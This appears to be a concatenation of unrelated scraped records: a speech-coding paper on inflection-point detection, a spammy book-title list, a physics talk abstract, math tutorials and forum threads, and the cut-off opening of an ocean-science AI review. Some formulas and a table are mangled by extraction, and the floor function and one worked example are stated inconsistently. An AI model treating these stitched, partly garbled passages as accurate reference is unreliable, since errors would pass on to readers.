Title Author Keyword ::: Volume ::: Vol. 19Vol. 18Vol. 17Vol. 16Vol. 15Vol. 14Vol. 13Vol. 12Vol. 11Vol. 10Vol. 9Vol. 8Vol. 7Vol. 6Vol. 5Vol. 4Vol. 3Vol. 2Vol. 1 ::: Issue ::: No. 4No. 3No. 2No. 1 A Fixed Rate Speech Coder Based on the Filter Bank Method and the Inflection Point Detection Byeong-Gwan Iem Department of Electronic Engineering, Gangneung-Wonju National University, Gangneung, Korea Correspondence to: Byeong-Gwan Iem (ibg@gwnu.ac.kr) Received December 8, 2016; Revised December 12, 2016; Accepted December 13, 2016. This is an Open Access article distributed under the terms of the Creative Commons Attribution Non-Commercial License (http://creativecommons.org/licenses/by-nc/3.0) which permits unrestricted non-commercial use, distribution, and reproduction in any medium, provided the original work is properly cited. Abstract A fixed rate speech coder based on the filter bank and the non-uniform sampling technique is proposed. The non-uniform sampling is achieved by the detection of inflection points (IPs). A speech block is band passed by the filter bank, and the subband signals are processed by the IP detector, and the detected IP patterns are compared with entries of the IP database. For each subband signal, the address of the closest member of the database and the energy of the IP pattern are transmitted through channel. In the receiver, the decoder recovers the subband signals using the received addresses and the energy information, and reconstructs the speech via the filter bank summation. As results, the coder shows fixed data rate contrary to the existing speech coders based on the non-uniform sampling. Through computer simulation, the usefulness of the proposed technique is confirmed. The signal-to-noise ratio (SNR) performance of the proposed method is comparable to that of the uniform sampled pulse code modulation (PCM) below 20 kbps data rate. Keywords : Non-uniform sampling, Filter bank method, Inflection point detection 1. Introduction Most of speech processing is based on the uniform sampling of speech signal [14]. It is easy and simple to implement to get discrete-time signal samples from a speech signal by band limiting and sampling according to Shannon’s sampling theorem [1, 2]. However, there is large correlation between neighboring consecutive samples, and various speech coding techniques have been developed to reduce such correlation and redundant information [1, 2]. Differential coding and linear predictive coding (LPC) are some of prominent examples of speech coding [1, 2]. In differential coding scheme, the difference between a sample and its estimates is coded as in the delta modulation [1]. In LPC, a speech is analyzed based on the speech production model using linear predictive analysis, and obtained parameters are coded and transmitted [2]. These speech coding techniques require a lot of computation. Non-uniform sampling technique is an alternative to overcome the information redundancy due to the high correlation between neighboring speech samples [511]. In non-uniform sampling, a speech is sampled not periodically. Typical examples of the non-uniform sampling method are the local maxima/minima detection method [6, 7] and the inflection point (IP) detection method [911]. The non-uniform sampling methods remove redundancies between samples by extracting irregularly, but the resulting signal shows variable code rate which is not desirable for communication channel. In this paper, a fixed rate speech coder based on non-uniform sampling method is proposed. A speech signal is band passed via filter banks. Each subband signal is non-uniformly sampled using the IP detection scheme, and the obtained IP pattern is normalized by its energy. The coder compares the normalized inflection point signal with candidate patterns in a database, and the addresses of the selected patterns are transmitted with amplitude information. In the receiver, the decoder obtains the candidate IP patterns using the received addresses and amplitudes. The IP patterns are interpolated to obtain the subband signal estimates. The paper is written as follows. In the next section, the IP detection scheme is briefly summarized. In Section 3, the structure of the speech encoder/decoder is explained in detail. In this section, the design of IP pattern database is also considered. Simulation results and conclusions are followed. 2. Inflection Point Detection A speech signal can be considered as a piecewise linear signal in a short period of time. By sampling non-uniformly at inflection points, the redundant information can be removed, and a smaller number of samples can be obtained. As shown in Figure 1, the inflection points can be taken at sample points where local minima (point a), local maxima (point b), or points of simple slope change (point c) happens. The inflection point detection (IPD) technique is as follows. For three consecutive samples in uniform sampling, the consecutive differences of samples are defined as $d21=x2-x1,d32=x3-x2.$ The sample x2 is determined as a local maximum or minimum point if the product of the consecutive differences is less than 0, i.e., $d21·d32<0.$ The sample point with mere slope change can be obtained by checking following measure [11]: $identifier (ID)=∣d21-d32∣∣d21∣+∣d32∣.$ The range of identifier value is 0 < ID ≤ 1 if there is a slope change. The larger the slope change is, the bigger the ID value is. Thus, by checking if the ID value is larger than a predetermined threshold, the sample point with slope change can be detected. Therefore, the inflection point detection algorithm shown in Figure 2 can be used. That is, if the condition in (1) is satisfied, the sample is determined as a local maximum or minimum. Otherwise, the ID value in (2) is compared to a predetermined threshold. If the value is greater than the threshold, the sample is classified as an inflection point of slope change [11]. 3. The Speech Coder ### 3.1 The Structure of the Speech Coder The speech coder based on the non-uniform sampling technique shows variable data rate which is not suitable for communication application [510]. In this paper, a new fixed bitrate speech coder is proposed based on the inflection point detection and filter bank method. The structure of the speech coder is shown in Figure 3. A block of speech signal is preprocessed by the filter bank of bandpass filters. And each band pass filtered speech is processed by the IPD algorithm, and the resulting IP pattern is normalized by its energy, and compared with the elements of the IP pattern database. The address of the closest member of the database and the energy of the detected IP pattern are sent through communication channel. The IP pattern database is furnished with IP patterns of band pass filtered white noise. At the receiver, using the received addresses and the energy information, the decoder reconstructs the speech signal using the same IP pattern database. The decoder fetches the IP patterns from the database using the received addresses, and multiplies the obtained element of the database with the received energy. Then, the decoder performs interpolation and synthesis to get a speech estimates. Thus, the bit stream transmitted over channel consists of the bits for the address and the energy for each subband speech block. ### 3.2 The IPD Pattern Database The IP pattern database consists of IP patterns of band pass filtered white noise. The 25,600 white noise samples are taken from a zero mean unit variance Gaussian noise. Every 100 samples are grouped into a block. Each block is processed by M band pass filters. Then, the band-pass filtered signal goes through the IPD procedure. As results, 256 IP patterns are obtained for each subband. A block of target speech is processed by the same filter banks and the IPD algorithm. The band pass filter for the k-th band is defined as $h [n]=sin (πnM)ncos (π (k-1)nM) w[n],$ where M is the number of subbands and w[n] is a window function. ### 3.3 Frame Structure The information transmitted includes the address of the IP pattern database and the energy of the IP block for each band pass filtered speech block. Therefore, the frame over communication channel can be as shown in Figure 4. Each 10 milliseconds speech has M subbands, and each subband should be encoded by IP pattern address and amplitude value. For example, if a speech segment is taken as 10 milliseconds with the sampling frequency of 10 kHz, the block has 100 samples, and there are 100 blocks per second. The number of bits for an address is determined by the size of the IP pattern database. If the size of the database is N, the number of address bits is log2N. Therefore, the data rate per subband is (log2N + L) bits/subband * M subbands/block100 blocks/second where L is the bits for the maximum energy of a detected IPD pattern. 4. Simulation Results The computer simulation result is provided to show the performance comparison under various situations and to show the usefulness of the proposed speech coding technique. The sampling frequency of a speech is 10 kHz, and the speech is segmented as 10-millisecond blocks with 50% overlapping. And the IP pattern database has 250 entries for each band, so the number of bits for the address is ⌊log2 250⌋ = 8, where ⌊x⌋ is the nearest integer greater than x. And the number of bits for the energy is 8 bits. As results, the data rate is (3200 M) bits/second when M band pass filters are used in the filter bank. Figure 5 shows the processed signal results when M = 10. Figure 5(a) is the original signal, and Figure 5(b) is the reconstructed signal at the receiver. From the figure, the usefulness of the proposed speech coder can be seen. In Table 1, the signal-to-noise ratio (SNR) performance is compared under various conditions for the number of bands in the filter bank method. The SNR of the proposed speech coder is calculated as follows: $SNR=10 log10 [signal powernoise power],$ where the noise is the difference between the original and the reconstructed signal. The SNR value is comparable with that of uniform sampling based pulse code modulation (PCM) coder [1]. The SNR performance of the uniform sampling PCM coder is defined as the ratio of signal power to quantization error power, and theoretically given as [1] $SNR(dB)=10 log10 (σx2σe2)=10 log10 [3.22B(Xmax/σi)2],$ where the quantization error power is calculated as $σe2=Xmax2/(3.22B)$ [1]. Here, B is the number of bits per sample, and Xmax and σx are the maximum value and the standard deviation of a speech signal. After some calculation, the SNR is [1] $SNR (dB)=10 log10σxσe26B+4.77-20 log10 [Xmaxσx].$ For example, when B = 3 and Xmax/σx ≅ 7.4, theoretically, SNR(dB) ≈ 5.4 dB. If the sampling rate is 10 kHz, the data rate is 30 kbps. And, when B = 2 and Xmax/σx ≅ 7.4, theoretically, SNR(dB) ≈ −0.6 dB and the data rate is 20 kbps. In Table 1, with fewer than 7 band pass filters, the proposed IP based coding method shows similar or better SNR performance with much lower data rate comparing to uniform sampling PCM. 5. Conclusion A new speech coding technique based on the non-uniform sampling and filter bank method has been proposed. Unlike existing non-uniform sampling based coding methods, the proposed coder shows a fixed data rate. The inflection points of a band pass filtered speech block are detected and compared with entries of inflection point pattern database. For each subband of a speech block, the address of the closest entry of the database and the energy of the IP pattern are transmitted through channel. At the receiver, the decoder collects the database entries of each subband and reconstructs the speech through interpolation and filter bank summation. The computer simulation has shown the usefulness of the proposed speech coding technique. The SNR performance of the non-uniform sampling and filter bank method based coding has been compared with that of the uniform sampling based PCM coding. With relatively much lower bit rate below 20 kbps, the IP based speech coder shows similar SNR to the uniform sampling PCM coder. Conflict of Interest Figures Fig. 1. Enlarged plot of a speech signal with various inflection points [11]. Fig. 2. Inflection point detection algorithm [11]. Fig. 3. Structure of the speech coder. Fig. 4. Frame structure over a channel when M subbands are used for a speech block. Fig. 5. Processing results of the IPD based coding (a) original speech s(n) and (b) reconstructed speech (n). TABLES ### Table 1 SNR performance under various numbers of bands in the filter bank method Number of bands MBit rate (kbps)SNR (dB) 412.80.96 5161.22 619.21.60 722.41.61 825.61.50 928.81.52 10321.52 References 1. Rabiner, LR, and Schafer, RW (1978). Digital Processing of Speech Signals. Englewood Cliffs, NJ: Prentice-Hall 2. Quatieri, TF (2002). Discrete-Time Speech Signal Processing: Principles and Practice. Upper Saddle River, NJ: Prentice-Hall 3. Lee, G, and Kim, WG (2015). Emotion recognition using pitch parameters of speech. Journal of Korean Institute of Intelligent Systems. 25, 272-278. 4. Kim, WG (2005). Robust speech recognition parameters for emotional variation. Journal of Korean Institute of Intelligent Systems. 15, 655-660. 5. Bae, MJ, Lee, WC, and Kim, DS 1996. On a new vocoder technique by the nonuniform sampling., Proceedings of Military Communications Conference (MILCOM’96), Mclean, VA, Array, pp.649-652. 6. Budaes, M, and Goras, L 2005. On speech signals reconstruction from local extreme values., Proceedings of International Symposium on Signals, Circuits and Systems, Iasi, Romania, Array, pp.315-318. 7. Davisson, L (1968). Data compression using straight line interpolation. IEEE Transactions on Information Theory. 14, 390-394. 8. Mark, J, and Todd, T (1981). A nonuniform sampling approach to data compression. IEEE Transactions on Communications. 29, 24-32. 9. Iem, BG (2014). A nonuniform sampling technique based on inflection point detection and its application to speech coding. Journal of the Acoustical Society of America. 136, 903-909. 10. Iem, BG (2014). A nonuniform sampling technique and its application to speech coding. Journal of Korean Institute of Intelligent Systems. 24, 28-32. 11. Iem, BG (2015). A low bit rate speech coder based on the inflection point detection. International Journal of Fuzzy Logic and Intelligent Systems. 15, 300-304. Biography Byeong-Gwan Iem received his B.S. and M.S. from Yonsei University, Seoul, Korea, in 1988 and 1990, respectively. He received his Ph.D. from the University of Rhode Island, RI, USA in 1998. He is a professor at Gangneung-Wonju National University, Gangneung, Korea. His areas of study interests are DSP and its applications. Tel: +82-33-640-2426 Fax: +82-33-646-0740 E-mail: ibg@gwnu.ac.kr June 2019, 19 (2)	{}
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Ordered Vector Spaces Linear O 100 Division Worksheets with 2-Digit Dividends, 1-Digit Divisors: Math Practice Workbook (100 Days Math Division Series) Fractals and Spectra: Related to Fourier Analysis and Function Spaces (Modern Birkhäuser Classics) Classical Banach Spaces I (Classics in Mathematics) Quasi-Invariant and Pseudo-Differentiable Measures in Banach Spaces G?teaux Differentiability of Convex Functions and Topology: Weak Asplund Spaces (Wiley-Interscience and Canadian Mathematics Series of Monographs and Texts) Non-Linear Elastic Deformations (Dover Civil and Mechanical Engineering) Twenty-Four Pierre-Auguste Renoir's Paintings (Collection) for Kids Weakly Differentiable Functions: Sobolev Spaces and Functions of Bounded Variation (Graduate Texts in Mathematics) Confidence: Gorilla Confidence - Simple Habits To Unleash Your Natural Inner Confidence (Self Esteem, Charisma, Power, Personal Magnetism) Locally Convex Spaces over Non-Archimedean Valued Fields (Cambridge Studies in Advanced Mathematics) Locally Convex Spaces over Non-Archimedean Valued Fields (Cambridge Studies in Advanced Mathematics)	{}
PIRSA:17040038 # The continuous multi-scale entanglement renormalization ansatz (cMERA) ### APA Vidal, G. (2017). The continuous multi-scale entanglement renormalization ansatz (cMERA). Perimeter Institute. https://pirsa.org/17040038 ### MLA Vidal, Guifre. The continuous multi-scale entanglement renormalization ansatz (cMERA). Perimeter Institute, Apr. 19, 2017, https://pirsa.org/17040038 ### BibTex ``` @misc{ pirsa_17040038, doi = {10.48660/17040038}, url = {https://pirsa.org/17040038}, author = {Vidal, Guifre}, keywords = {Condensed Matter, Quantum Fields and Strings, Quantum Gravity, Quantum Information}, language = {en}, title = {The continuous multi-scale entanglement renormalization ansatz (cMERA)}, publisher = {Perimeter Institute}, year = {2017}, month = {apr}, note = {PIRSA:17040038 see, \url{https://pirsa.org}} } ``` Guifre Vidal Alphabet (United States) Talk Type Subject ## Abstract The first half of the talk will introduce the cMERA, as proposed by Haegeman, Osborne, Verschelde and Verstratete in 2011 [1], as an extension to quantum field theories (QFTs) in the continuum of the MERA tensor network for lattice systems. The second half of the talk will review recent results [2] that show how a cMERA optimized to approximate the ground state of a conformal field theory (CFT) retains all of its spacetime symmetries, although these symmetries are realized quasi-locally. In particular, the conformal data of the original CFT can be extracted from the optimized cMERA. [1] J. Haegeman, T. J. Osborne, H. Verschelde, F. Verstraete, Entanglement renormalization for quantum fields, Phys. Rev. Lett, 110, 100402 (2013), arXiv:1102.5524 [2] Q. Hu, G. Vidal, Spacetime symmetries and conformal data in the continuous multi-scale entanglement renormalization ansatz, arXiv:1703.04798	{}
# Law of Total Variance Law of total variance is also known as the variance decomposition formula or Eve’s law. According to Eve’s law if we are M and N which are two random variables and lies in the same probability space and also that ‘N’ has a finite variance. In such case we define the law of total variance as below: $Var N$ = $E_M$ ($Var [N \| M]$) + $Var_M$ ($E [N \| M]$) Where $E [N \| M]$ is nothing but the conditional expected value and its value depends on the value of M. If we have ‘n’ partitioned space with $B_1, …, B_n$ partitions being mutually exclusive as well as exhaustive, then we have, $Var [Y]$ = $\sum_{i = 1}^n Var (Y \| B_i) P (B_i)$ + $\sum_{i = 1}^n E (Y \| B_i)^2 (1 – P (B_i)) P (B_i)$ - 2 $\sum_{i = 1}^n \sum_{j = 1}^{i – 1} E (Y \| B_i) P (B_i) E (Y \| B_j) P (B_j)$ (This is a special case). Here will discuss about law of variance in detail. ## Proof We make use of law of total expectation to prove the law of total variance. From the variance definition we have, $Var [N] = E [N^2] – [E [N]]^2$ When we apply the law of total expectation to every term by applying conditions on the M that is a random variable, we have, $Var [N]$ = $E_M [E [N^2 \| M]] – [E_M [E [N \| M]]]^2$ When we redo the conditional Y in second moment that too in terms of its variance and also the first moment we have, $\rightarrow$ $Var [N]$ = $E_M [Var [N \| M]$ + $[E [N \| M]]^2]$ – $[E_M [E [N \| M]]]^2$ We know that the expectation of any sum is also the sum of expectations, so we can regroup the terms as follows: $Var [N]$ = $E_M [Var [N \| M]] + (E_M [[E [N \| M]]^2] – [E_M [E [N \| M]]]^2)$ We see that the terms that are in parentheses are equal to the variance of E [N \|M], the conditional expectations, so we get, $\rightarrow$ $Var [N]$ = $E_M [Var [N \| M]]$ + $Var_M [E [N \| M]]$ Hence the law of total variance is proved. ## Examples Example on law of variance is given below: Example: Suppose the number of visitors to a library in a given day is N. We know Var [N] and E [N]. Let $Y_i$ represent the number of books the ith number of person is reading. Taking assumption that all $Y_i$’s are independent of N and also of each other, also assuming that they have same variance and same mean as given below $E Y_i$ = $E\ Y$. And $Var (Y_i)$ = $Var (Y)$ If S be the total sales given by S = $sum_(i = 1)^N Y_i$, find the values for E S and Var (S). Solution: $E S$ = $E [E [S \| N]]$ = $E [E [sum_(i = 1)^N (Y_i \| N)] ]$ = $E [sum_(i = 1)^N E [Y_i \| N]]$ = $E [sum_(i = 1)^N E [Y_i]]$ = $E [N E [Y]]$ = $E [Y] E [N]$ $Var (S)$ = $E (Var (S \| N)) + Var (E [S \| N])$ = $E (Var (S \| N)) + Var (N E Y)$ = $E (Var (S \| N)) + (E Y)^2 Var (N)$ Now $Var (S \| N)$ = $\sum_(i = 1)^N\ Var (Y_i \| N)$ = $\sum_(i = 1)^N\ Var (Y_i)$ = $N\ Var (Y)$ So we get, $E (Var (S \| N))$ = $E (N\ Var (Y))$ = $E N\ Var (Y)$ So we get $Var (S)$ = $E N\ Var (Y)$ + $(E Y)^2\ Var (N)$	{}
# Taylor series with using geometric series 1. May 18, 2015 ### Pietervv • Member warned about not using the homework template The question is: Determine the Taylor series of f(x) at x=c(≠B) using geometric series f(x)=A/(x-B)4 My attempt to the solution is: 4√f(x) = 4√A/((x-c)-B = (4√A/B) * 1/(((x-c)/B)-1) = (4√A/-B) * 1/(1-((x-c)/B)) using geometric series : 4√f(x) = (4√A/-B) Σ((x-c)/B)n f(x)= A/B4 * Σ((x-c)/B)4n with abs((x-c)/B)<1 But i am not very sure if this is true. 2. May 18, 2015 ### HallsofIvy Staff Emeritus f(x)= A/(x- B)4 is NOT the same as A/(x- c- B)^4 so $\sqrt[4]{f(x)}$ is NOT equal to $\sqrt[4]{A/((x- c)- B)^4}$. To put the "c" in you need $f(x)= A/((x- c)- (B- c))^4$. Last edited by a moderator: May 18, 2015 3. May 18, 2015 ### Ray Vickson As HallofIvy has pointed out, the manipulations you have done above are incorrect. After correcting them, you will be left with an an expression that involves, in part, an expansion of the form $$\frac{1}{(1-u)^4} = c_0 + c_1 u + c_2 u^2 + \cdots .$$ That is a not a "geometric" series, because you have the 4th power in the denominator. I think the title of the problem is incorrect---you cannot do it using a geometric series (at least, not directly). However, you can start with a geometric series and do some calculus manipulations on it to obtain the series above. Last edited: May 18, 2015 4. May 18, 2015 ### Pietervv Then the c disappears in the nominator and my f(x) is again f(x)= A/(x- B)4 after put the c in?? And is my tactic for solving this problem, with taking the 4√ the good tactic, or is it totaly the wrong way to solve it? 5. May 18, 2015 ### Ray Vickson No, it is totally wrong. In simplified notation, here is what you said: $$\left(\sum_n a_n y^n\right)^4 = \sum_n a_n^4 \, y^{4n} \; \Longleftarrow \; \text{False!}$$ 6. May 22, 2015 ### Pietervv For the people who are still interested, after watched the solution, the key was to first determine the series of g(x)=A/(x-B) using the geometric series (1) and then take the third derivative of both sides of the equation obtained by step 1 7. May 22, 2015 ### Ray Vickson Yes, that is exactly what I meant in Post #3 when I said to start with a geometric series and perform calculus manipulations on it.	{}
# Is convolution distributive over multiplication? Is there any formula or expansion for $$a(t)[b(t) \cdot c(t)]$$ $$a(t) \cdot[b(t)c(t)]$$ where $$$$ denotes the convolution? By expansion I mean something like $$a(t)\cdot[b(t)+c(t)]=a(t)b(t)+a(t)c(t)$$. • Have you tried writing down the convolution integral? Then you'll see it right away (namely that there's not much you can do). – Matt L. Jul 2 at 15:08 • In Frequency domain, it will translate to $A\cdot(BC)$, if that helps any. – Florian Jul 2 at 15:44 • @Florian "...translate to $A\cdot(B*C)$...." and then we all can ponder the dual question "Does multiplication distribute over convolution?" – Dilip Sarwate Jul 3 at 20:45 Addition is (by nature) additive, and multiply and convolution are both somehow of multiplicative nature. Thus, I suspect there is no generic distributivity (apart for Boole or Boolean algebras, where the restriction on allowed values shrinks the problem, see below). However, there is a sort of commutativity of multiply and convolution, as follows. It is interesting to first look at such operator properties from an algebraic point of view. Properties are for instance, for a generic operator binary $$\bigcirc$$: • commutativity: $$a \bigcirc b = b \bigcirc a$$ • associativity: $$a \bigcirc( b \bigcirc c) = (a \bigcirc b) \bigcirc c$$ • alternativity: $$a \bigcirc( a \bigcirc b) = (a \bigcirc a) \bigcirc b$$ or $$(a \bigcirc b) \bigcirc b = a \bigcirc (b \bigcirc b)$$ • flexibility: $$(a \bigcirc b) \bigcirc a = a \bigcirc (b \bigcirc a)$$ Distributivity of a binary operator $$\diamond$$ over operator $$\bigcirc$$ is more involved: it can be left-distributed: $$a \diamond (b \bigcirc c) = (a \diamond b) \bigcirc (a \diamond c)$$ or right-distributed: $$(a \bigcirc b) \diamond c = (a \diamond c) \bigcirc (b\diamond c)$$ Division is right-distributive over add, not left-distributive. Distributivity of multiply over add is at play in rings and fields. But the converse does not apply. There are mathematical structures where two binary operators distribute over each other, like Boolean or switching algebras. Apart from that, I cannot remember of standard cases of multiply-like $$\ast$$ or $$\cdot$$ that would distribute. However, I will details sme specific cases, ending with the Hilbert transform and Bedrosian theorem. In the case of multiplication and convolution, or $$a$$ scalar, this is associative, as : $$a.[b(t)\cdot c(t)] = [a.b(t)]\cdot c(t)= b(t)\cdot [a.c(t)]$$ and $$a.[b(t)\ast c(t)] = [a.b(t)]\ast c(t)= b(t)\ast [a.c(t)]$$ You see that you cannot directly"distribute it", as this would become "bilinear". Convolution and point-wise product are linear. So, if you consider that $$c(t)$$ (or $$b(t)$$ by symmetry), there exists a linear operator $$\Lambda$$ such that: $$\Lambda(c(t)) = a(t)\ast[b(t)\cdot c(t)]$$ Whether $$\Lambda$$ has a simple closed form expression is a difficult matter. As a side note, where $$\mathcal{H}$$ denotes the Hilbert transform, the Bedrosian theorem (A product theorem for Hilbert transforms states that (under some conditions): $$\mathcal{H}(a(t)e^{i\theta t}) = a(t)(\mathcal{H}(e^{i\theta t}))\,.$$ where $$a(t)$$ is an (low-pass) envelope, and $$e^{i\theta t}$$ a modulation. More generally, if a low-pass signal $$x_\flat$$ and a high-pass $$x_\sharp$$ have non-overlapping spectra, then under Bedrosian: $$\mathcal{H}(x_\flat(t)\cdot x_\sharp(t))=x_\flat(t)\cdot \mathcal{H}(x_\sharp(t))$$ Now, let us remind that the Hilbert transform can be seen as the convolution with the distribution ($$\operatorname {p.v.}$$ is the Cauchy principal value): $$h(t) =\operatorname {p.v.} {\frac {1}{\pi t}}$$ Thus: $$h(t) \ast (x_\flat(t)\cdot x_\sharp(t)) = x_\flat(t) \cdot(h(t)\ast x_\sharp(t))$$ This is the only practical case I can remember of a switching of operators in signal processing, more a form of limited commutativity.	{}
MathOverflow will be down for maintenance for approximately 3 hours, starting Monday evening (06/24/2013) at approximately 9:00 PM Eastern time (UTC-4). ## Rank of isogenous elliptic curves I think that k-isogenous elliptic curves have the same rank as I think rank is an isogeny invariant. However, I am not sure. Does anyone know where could I find a proof? Thanks! - An isogeny $A \to B$ is a map $A \to B$ with finite kernel. Choose a splitting of $MW(A)$ into torsion-free and torsion summands. This kernel cannot include any of the torsion-free part of $MW(A)$ and so is injective on the torsion-free part so the rank of $MW(B)$ is at least the rank of $MW(A)$. Since the isogeny goes both ways, this gives you equality. - Thank you Will! – Patt Geffrey Mar 18 2012 at 23:48 What is the " rank part of $A$ " ? – Chandan Singh Dalawat Mar 19 2012 at 3:28 @Chandan: I think he may be implicitly choosing a splitting of Mordell-Weil into torsion-free and torsion summands. – S. Carnahan Mar 19 2012 at 4:06 I just wanted to point out that it woud be good manners to make the hypotheses explicit. When you write "k-isogenous", you should tell us what k is; when you talk about the rank, you should be over a k for which the group of k-rational points is finitely generated, etc. – Chandan Singh Dalawat Mar 19 2012 at 4:41 @Chandan and S.Carnahan - yes, that is correct. Sorry for the lack of clarity. – Will Sawin Mar 19 2012 at 5:10	{}
Need help in solving trigo an • Sep 22nd 2012, 10:37 PM ZGOON [Solved] Need help in solving trigo an Given that tan(2A) = (2tanA)/(1-tan^2 A) show that tan(22.5) = sqrt(2) - 1 • Sep 22nd 2012, 11:03 PM MarkFL Re: Need help in solving trigo an Define $A\equiv22.5^{\circ}$ and write the given double angle identity for tangent as: $\tan(2(22.5^{\circ}))=\frac{2\tan(22.5^{\circ})}{1-\tan^2(22.5^{\circ})}$ $\tan(45^{\circ})=\frac{2\tan(22.5^{\circ})}{1-\tan^2(22.5^{\circ})}$ $1=\frac{2\tan(22.5^{\circ})}{1-\tan^2(22.5^{\circ})}$ Can you finish? • Sep 22nd 2012, 11:09 PM ZGOON Re: Need help in solving trigo an Quote: Originally Posted by MarkFL2 Define $A\equiv22.5^{\circ}$ and write the given double angle identity for tangent as: $\tan(2(22.5^{\circ}))=\frac{2\tan(22.5^{\circ})}{1-\tan^2(22.5^{\circ})}$ $\tan(45^{\circ})=\frac{2\tan(22.5^{\circ})}{1-\tan^2(22.5^{\circ})}$ $1=\frac{2\tan(22.5^{\circ})}{1-\tan^2(22.5^{\circ})}$ Can you finish? I managed to get that part... and i let tan(22.5) be Y it becomes eqn [y^2 + 2y - 1 = 0] but somehow i cant get the sqrt(2) *im using the cross multiply method to solve the eqn • Sep 22nd 2012, 11:14 PM MarkFL Re: Need help in solving trigo an You have the correct quadratic...now either complete the square or use the quadratic formula. You will get 2 roots. You will need to decide which is extraneous, either by substituting the roots into the original equation, or some knowledge of which quadrant the angle is in and what sign tangent has there... • Sep 23rd 2012, 12:11 AM ZGOON Re: Need help in solving trigo an Ohhhh! I'm im able to solve it now!!! THANKS THANKS THANKS!!!	{}
A- A+ Alt. Display # Artificial intelligence for ocean science data integration: current state, gaps, and way forward ## Abstract Oceanographic research is a multidisciplinary endeavor that involves the acquisition of an increasing amount of in-situ and remotely sensed data. A large and growing number of studies and data repositories are now available on-line. However, manually integrating different datasets is a tedious and grueling process leading to a rising need for automated integration tools. A key challenge in oceanographic data integration is to map between data sources that have no common schema and that were collected, processed, and analyzed using different methodologies. Concurrently, artificial agents are becoming increasingly adept at extracting knowledge from text and using domain ontologies to integrate and align data. Here, we deconstruct the process of ocean science data integration, providing a detailed description of its three phases: discover, merge, and evaluate/correct. In addition, we identify the key missing tools and underutilized information sources currently limiting the automation of the integration process. The efforts to address these limitations should focus on (i) development of artificial intelligence-based tools for assisting ocean scientists in aligning their schema with existing ontologies when organizing their measurements in datasets; (ii) extension and refinement of conceptual coverage of – and conceptual alignment between – existing ontologies, to better fit the diverse and multidisciplinary nature of ocean science; (iii) creation of ocean-science-specific entity resolution benchmarks to accelerate the development of tools utilizing ocean science terminology and nomenclature; (iv) creation of ocean-science-specific schema matching and mapping benchmarks to accelerate the development of matching and mapping tools utilizing semantics encoded in existing vocabularies and ontologies; (v) annotation of datasets, and development of tools and benchmarks for the extraction and categorization of data quality and preprocessing descriptions from scientific text; and (vi) creation of large-scale word embeddings trained upon ocean science literature to accelerate the development of information extraction and matching tools based on artificial intelligence. ##### Knowledge Domain: Ocean Science How to Cite: Sagi, T., Lehahn, Y. and Bar, K., 2020. Artificial intelligence for ocean science data integration: current state, gaps, and way forward. Elem Sci Anth, 8(1), p.21. DOI: http://doi.org/10.1525/elementa.418 Published on 15 May 2020 Accepted on 22 Apr 2020 Submitted on 21 Aug 2019 Domain Editor-in-Chief: Jody W. Deming; School of Oceanography, University of Washington, US Associate Editor: Lisa A. Miller; Institute of Ocean Sciences, Fisheries and Oceans Canada, CA ## 1. Introduction The study of the ocean is one of the biggest scientific challenges of the 21st century. It has a direct impact on our understanding of Earth’s climate (Stocker et al., 2013) and biogeochemical cycling (Field et al., 1998), as well as on our ability to provide human society with food, chemicals, and energy (Lehahn et al., 2016). Oceanographic research strongly relies on in-situ and remotely-sensed observations, which describe physical, chemical, and biological seawater properties at a given time and place. These observations are collected from various crewed and autonomous platforms, including research vessels, floats (Roemmich et al., 2009), drifters (Lumpkin et al., 2017), autonomous vehicles (Eriksen et al., 2001), and satellites (Lehahn et al., 2018), providing an abundance of interdisciplinary information on processes occurring over a wide range of spatial (from micrometers to thousands of kilometers) and temporal (from seconds to decades) scales. Over the last century, numerous in-situ and remotely-sensed measurements have been taken, resulting in the creation of an increasingly large amount of oceanic data. In recent years, with the enhanced utilization of satellites and autonomous observation platforms, these data are collected at a blistering rate. Improving the scientific community’s ability to integrate, share, and explore this vast amount of data is an urgent task that will contribute substantially to our understanding of the ocean and its role in the Earth system. Several public data repositories have emerged to enable the archiving and sharing of data collected between researchers. For example, PANGEA (2020), a data repository for publishing and distributing georeferenced data from Earth system research, hosts more than 370,000 datasets. The National Centers for Environmental Information (National Oceanic and Atmospheric Administration, 2020b) stores over 25 petabytes of atmospheric, coastal, oceanic, and geophysical data. Copernicus (European Commission, 2020) archives datasets from several domains such as marine, climate, and agriculture, as part of a European Union program for observing the Earth. The extensive availability of data repositories provides oceanographic researchers with the ability to tap into a multitude of data collected by their peers and use it in their own studies. One of the main obstacles for a researcher when compiling data from existing data sources is to overcome the semantic distance between datasets. Thus, when conducting such research, there is a need for manual data integration work done by an expert. In a recent review (Gregory et al., 2019), the authors described some of the challenges facing researchers when manually integrating data from multiple disparate studies. Data integration is the art and science of reconciling two or more collections of data with each other. Data integration is as old as data. In 1975, the National Bureau of Standards and the Association for Computing Machinery issued the recommendation that, when integrating data from digital and physical files into the newly standardized Database Management Systems (DBMS), practitioners should maintain a data-dictionary to enable efficient and effective data integration (Berg, 1976). With the emergence of the federated database (Hammer and McLeod, 1979), a database composed of multiple independent database systems, the need for a central mediated schema was created. A secondary problem created by federated databases was the prevalence of unwanted data duplication between the systems. The advent, and subsequent popularity of the World Wide Web, brought about a host of new opportunities for sharing data, providing portals and services based on the integration of data from multiple sources covering the same domain, such as the domain of travel reservation (e.g., www.orbitz.com). The process of data integration began as a manual one (Goodhue et al., 1992), gradually transitioning to a semi-automated process supported by software tools. The arrival of Big Data has increased both the number and sizes of available data-sources, bringing about additional challenges and opportunities for data integration (Dong and Srivastava, 2015). We are at a time where artificial intelligence (AI) is applied ubiquitously across scientific domains and disciplines. First and foremost of AI research fields is the field of machine learning (ML), the science of building software that learns from experience. Recent years have seen a concurrent increase in data (serving as experience for ML) and available cloud computing solutions to utilize the data. These phenomena, together with the arrival of deep learning (DL) as an efficient and effective method for ML, have caused ML to expand into an increasing number of fields (Jordan and Mitchell, 2015). Pioneered by Doan et al. (2002), the use of ML in data integration has been expected for some time now (Halevy et al., 2006). Recently, widespread use of ML in data integration appears to be the new norm (see review by Dong and Rekatsinas, 2018). Concretely, ML has been used to create weighted ensembles of schema matchers (Gal and Sagi, 2010), map relational databases into ontologies (De uña et al., 2018), and create sub-groups of records to speed up entity resolution (see review by O’Hare et al., 2019). However, the advances in data integration and specifically AI-assisted data integration have been utilized sparingly, if at all, in the ocean sciences. In this paper, we systematically deconstruct the process of integrating a multitude of datasets in the ocean science domain into specific phases and tasks. For each task, we review state of the art in AI-assisted data integration and discuss the barriers and challenges to its adoption in the ocean sciences. We begin in the following section by formally defining and providing background on artificial intelligence, data integration, and how they are used together. We then present our model of data integration 